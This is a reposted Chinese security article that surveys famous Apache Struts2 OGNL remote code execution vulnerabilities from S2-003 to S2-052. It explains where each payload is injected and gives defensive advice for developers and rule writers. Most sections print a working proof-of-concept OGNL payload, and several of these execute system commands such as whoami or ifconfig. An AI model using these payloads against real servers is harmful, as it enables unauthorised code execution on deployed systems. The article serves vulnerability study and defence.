Struts2著名RCE漏洞引發的十年之思

從2007年7月23日發佈的第一個Struts2漏洞S2-001到2017年12月發佈的最新漏洞S2-055,跨度足足有十年,而漏洞的個數也升至55個。分析了Struts2的這55個漏洞發現,基本上是RCE、XSS、CSRF、DOS、目錄遍歷和其他功能缺陷漏洞等等。本篇文章,重點關注威脅性較大的那些著名RCE漏洞,也是***們比較喜歡利用的。

要說著名RCE(遠程代碼執行)漏洞,Struts2框架漏洞無外乎就那麼十幾個,一經爆發就被各安全廠商作爲高危緊急漏洞處理,其餘的一些漏洞,並沒有得到很多的重視,基本上是危害不大或難以利用。在此,列出一些當年風靡一時過的漏洞:S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052。這裏列出的只是個人覺得比較有名的Struts2框架漏洞,也許還不全,或者其中的漏洞並沒有作者說的那麼有名,僅作爲參考,希望能給讀者帶來一些收穫。

雖然上述漏洞那麼多,但是其本質都是一樣的(除了S2-052以外),都是Struts2框架執行了惡意用戶傳進來的OGNL表達式,造成遠程代碼執行。可以造成“命令執行、服務器文件操作、打印回顯、獲取系統屬性、危險代碼執行”等,只不過需要精心構造不同的OGNL代碼而已。那麼,漏洞都是如何觸發,或者說,如何注入OGNL表達式,造成RCE,下面用一個表來簡要概括:

Struts2著名RCE漏洞引發的十年之思

上面表格可以說是簡要總結了下請求可注入的地方,涵蓋了HTTP請求的多個點,並且有些點爆發的漏洞不止一個。參數名注入有S2-003、S2-005,cookie名注入在官方S2-008漏洞介紹的第二個提到過;參數值注入就比較多了,包括S2-007、S2-009、S2-012等基本都是;filename注入是指S2-046漏洞,content-type注入是指S2-045漏洞;URL的action名稱處注入是S2-015漏洞。先做個簡要了解,下面會對各個漏洞的觸發進行分別介紹,由於文章篇幅有限,不可能每個漏洞都展開分析,所以僅作個總結性的介紹。
0×02 著名RCE漏洞總結
1、S2-003/S2-005漏洞

這兩個漏洞有着密不可分的聯繫,根據先後順序,從S2-003入手。S2-003漏洞發生在請求參數名,Struts2框架會對每個請求參數名解析爲OGNL語句執行,因此,惡意用戶可通過在參數名處注入預先設定好的OGNL語句來達到遠程代碼執行的***效果;漏洞就出現在com.opensymphony.xwork2.interceptor.ParametersInterceptor這個攔截器中,如下圖所示:

Struts2著名RCE漏洞引發的十年之思

S2-003的PoC:

(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&(g)(('%5C43req%[email protected]@getRequest()')(d))&(i2)(('%5C43xman%[email protected]@getResponse()')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))

S2-005的PoC:

('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&('%5C43c')(('%5C43_memberAccess.excludeProperties%[email protected]@EMPTY_SET')(c))&(g)(('%5C43req%[email protected]@getRequest()')(d))&(i2)(('%5C43xman%[email protected]@getResponse()')(d))&(i2)(('%5C43xman%[email protected]@getResponse()')(d))&(i95)(('%5C43xman.getWriter().print(%22S2-005 dir--***%22)')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))

上面兩個PoC的功能都是Web路徑探測並打印回顯。兩個漏洞都需要對#字符進行編碼,繞過Struts2框架對#字符的過濾。觀察兩個PoC,可以發現,S2-005前面多了一段(‘%5C43_memberAccess.allowStaticMethodAccess’)(a)=true,打開安全配置(靜態方法調用),其實官方對S2-003的修復就只是關閉靜態方法調用,繞過這個修復很簡單,所以就有了S2-005。

2、S2-007漏洞

用戶輸入將被當作OGNL表達式解析,當對用戶輸入進行驗證出現類型轉換錯誤時。如配置了驗證規則<ActionName>-validation.xml時,若類型驗證轉換出錯,後端默認會將用戶提交的表單值通過字符串拼接,然後執行一次OGNL表達式解析並返回。

漏洞PoC:

'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%[email protected]@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%[email protected]@getResponse(),%23out.getWriter().println(%23echo))%2b'

PoC爲何這樣寫,是因爲需要後端用代碼拼接”‘” + value + “‘”然後對其進行OGNL表達式解析。

3、S2-008漏洞

這個編號,官方發佈了四個漏洞,其實,第1、3、4分別是S2-007、S2-009、S2-019漏洞。第2個說的是CookieInterceptor攔截器缺陷,利用道理和S2-005差不多,只不過是在cookie名稱處注入,由於大多 Web 容器(如 Tomcat)對 Cookie 名稱都有字符限制,一些關鍵字符無法使用使得這個點顯得比較雞肋,網上也並沒有相關分析介紹。

4、S2-009漏洞

談起這個漏洞,絕對要回顧下S2-003/S2-005漏洞,兩者的共同點是同樣是發生在ParametersInterceptor攔截器中的漏洞。只不過在S2-005漏洞中,OGNL表達式通過參數名處注入,造成遠程命令執行,而S2-009漏洞的OGNL表達式通過參數值注入。看一段PoC:

foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

因此,S2-009漏洞可以繞過ParametersInterceptor攔截器對參數名的限制。至於,漏洞是如何觸發執行的,可以簡要介紹下。foo參數值必須是action的字符串變量,OGNL表達式被寫入foo變量中,然後ParametersInterceptor攔截器在對第二參數名處理時,會取出foo值並作爲OGNL表達式解析執行,造成遠程代碼執行漏洞。

5、S2-012漏洞

漏洞利用正如官方所說的,需要滿足一定的條件。首先,得找到action中的字符串變量name,將OGNL表達式注入進去。隨後,如下圖,配置文件中得有重定向類型,並且重定向的鏈接中存在${name}取值操作,那麼注入進的OGNL表達式就會執行。

Struts2著名RCE漏洞引發的十年之思

PoC展示:

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #[email protected]@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

6、S2-013漏洞

這個漏洞,確實有點不好利用,需要在JSP頁面中將s:url、s:a標籤中的includeParams屬性設定爲get或all,一般很少有開發這麼做,但是畢竟世界之大,無奇不有。如果存在相應的漏洞環境,直接將PoC貼在action請求或者JSP頁面請求的後面。

PoC展示:

fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D

其中的變量名是任意的。利用時要確保action請求跳轉到的JSP或者請求的JSP中存在將includeParams屬性設定爲get或all的s:url、s:a標籤。

7、S2-015漏洞

這個漏洞,先參考下官方給的配置,如下:

Struts2著名RCE漏洞引發的十年之思

再展示下PoC:

${%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()}.action

是一段彈計算器的PoC。上述配置能讓我們訪問 name.action 時使用 name.jsp 來渲染頁面,但是在提取 name 並解析時,對其執行了 OGNL 表達式解析,所以導致命令執行。

8、S2-016漏洞

S2-016漏洞算是Struts2漏洞界的經典,當時也是風靡一時。首先,可以查一下”action:”, “redirect:” ,”redirectAction:”等前綴參數是幹什麼的,如果不知道也沒關係,說一下漏洞是如何觸發的。在請求action時,後面跟上前綴參數,前綴參數後面直接寫上OGNL表達式,像下面PoC展示。

PoC展示:

redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

上面的OGNL表達式會造成Web路徑探測並打印回顯。沒錯,就是這麼簡單,利用十分方便,所以當時受到了相當的重視。至於漏洞是如何觸發,主要是發生在DefaultActionMapper中,這個可自行跟蹤調試。

9、S2-019漏洞

這個漏洞在說S2-008的時候提到過,屬於S2-008發佈的第四個漏洞,也就是DebuggingInterceptor攔截器中的缺陷漏洞。這個漏洞要保證配置中的開發模式是打開的,<constant name=”struts.devMode” value=”true” />。

PoC展示:

debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22S2-019 dir--***%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()

上述PoC的寫法,包括參數名都是固定寫法,漏洞觸發是在DebuggingInterceptor這個攔截器類中,所以在跟蹤調試時候需要好好研究這個類,就會明白PoC的形式爲何這麼寫。

10、S2-029漏洞

官方標註漏洞等級爲Important,算是中危漏洞了。這個漏洞利用,可以說是非常難,漏洞的原理是二次OGNL表達式執行,在框架中是存在幾處,比如i18n源碼處、UIBean處等等。

PoC展示:

(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

11、S2-032/S2-033/S2-037漏洞

這三個漏洞都是抓住了DefaultActionInvocation中會把ActionProxy中的method屬性取出來放入到ognlUtil.getValue(methodName + “()”, getStack().getContext(), action);方法中執行OGNL表達式。因此,想方設法將惡意構造的OGNL表達式注入到method中。S2-032是通過前綴參數“method:OGNL表達式”的形式;S2-033是通過“actionName!method”的方式,用OGNL表達式將method替換;S2-037是通過“actionName/id/methodName”的方式,用OGNL表達式將methodName替換。三種漏洞只是注入形式不一樣,PoC完全可以複用,OGNL表達式執行的點也一樣,上面已經說到。

PoC展示:

%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8

12、S2-045/S2-046漏洞

S2-045漏洞和S2-046漏洞非常相似,都是由報錯信息包含OGNL表達式,並且被帶入了buildErrorMessage這個方法運行,造成遠程代碼執行,兩個漏洞的PoC可以複用。S2-045只有一種觸發形式,就是將OGNL表達式注入到HTTP頭的Content-Type中;S2-046則有兩種利用形式,第一是Content-Length 的長度值超長,第二是Content-Disposition的filename存在空字節,但兩種觸發形式其OGNL表達式注入點都是Content-Disposition的filename中。

PoC展示:

%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}

13、S2-048漏洞

在看這個漏洞前,可以去看看官網的S2-027的介紹,意思就是,在框架中存在兩個函數會解析執行OGNL表達式,TextParseUtil.translateVariables方法和ActionSupport’s getText方法。S2-048漏洞就是因爲struts2-struts1-plugin插件中存在將OGNL表達式傳入上述方法的情況,所以導致遠程代碼執行;至於以什麼形式注入OGNL表達式,當然是以參數值的形式注入,以哪個參數來注入要根據後端代碼在哪用struts2-struts1-plugin插件來追蹤,一般可以用PoC去fuzz。網上有以struts2-showcase.war項目爲例介紹漏洞分析,可用這個項目來跟蹤漏洞原理。

PoC展示:

%25%7b%28%23nike%3d%27multipart%2fform-data%27%29.%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3f%28%23_memberAccess%3d%23dm%29%3a%28%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23o%[email protected]@getResponse%28%29.getWriter%28%29%29.%28%23req%[email protected]@getRequest%28%29%29.%28%23path%3d%23req.getRealPath%28%27%2f%27%29%29.%28%23o.println%28%23path%29%29.%28%23o.close%28%29%29%7d

14、S2-052漏洞

這個漏洞也算是轟動一時,其實,跟上面說的那些注入OGNL表達式,達到遠程代碼執行的方式還不大一樣,S2-052漏洞是一種XML反序列化漏洞。漏洞本質是Struts2 REST插件的XStream組件存在反序列化漏洞,當使用XStream組件對XML格式的數據包進行反序列化操作時,沒有對數據內容進行有效驗證,存在反序列化後遠程代碼執行安全隱患。

0×03 展望

分析漏洞的最終目的是如何更好的防禦,無論是網站開發人員還是專業的白帽子,都需要知道如何提前預防Struts2框架漏洞。在此,有一些展望和建議,希望對開發人員和白帽子有所作用。

網站開發人員。在接收客戶端傳過來的請求時,無論是HTTP請求頭還是請求體的內容,都是不可信的,都需要進行有效地驗證和過濾。回顧以往出現的Struts2漏洞,惡意OGNL表達式的注入點無處不在,但隨着Struts2框架版本的迭代,很多漏洞也被修補,所以開發人員需要使用最新版本的框架,但是也不能完全相信框架的安全性,在基於框架的二次開發時,需要有自己的數據驗證模塊。從以往的請求注入點來看,開發人員需要對request中的請求參數名、參數值、cookie參數名、action的名稱、Content-Type內容、filename的內容、請求體內容(反序列化漏洞),進行驗證;如何驗證,只需要根據以往PoC的特徵去做相關的驗證判斷。

網絡安全守護者——白帽子。專業的網絡安全人員,對於漏洞的理解也許比開發人員更深刻,因此,拋磚引玉。對於Struts2漏洞的防禦規則,抓住重要的點即可,就是惡意OGNL表達式的特徵,針對需要遠程執行的類和函數進行提取防禦特徵,此外,還需要結合惡意OGNL表達式注入點的特徵,可避免規則誤報,從而影響網站正常業務,如S2-045漏洞,就需要結合Content-Type這個特徵。

***的較量從未停止,***與白帽子間的鬥爭也越演越烈。在Struts2框架漏洞這個戰場上,需要持續深入地研究,才能佔有主動權。

本文轉載自Freebuf,作者是安全目實驗室,地址爲:http://www.freebuf.com/vuls/168609.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章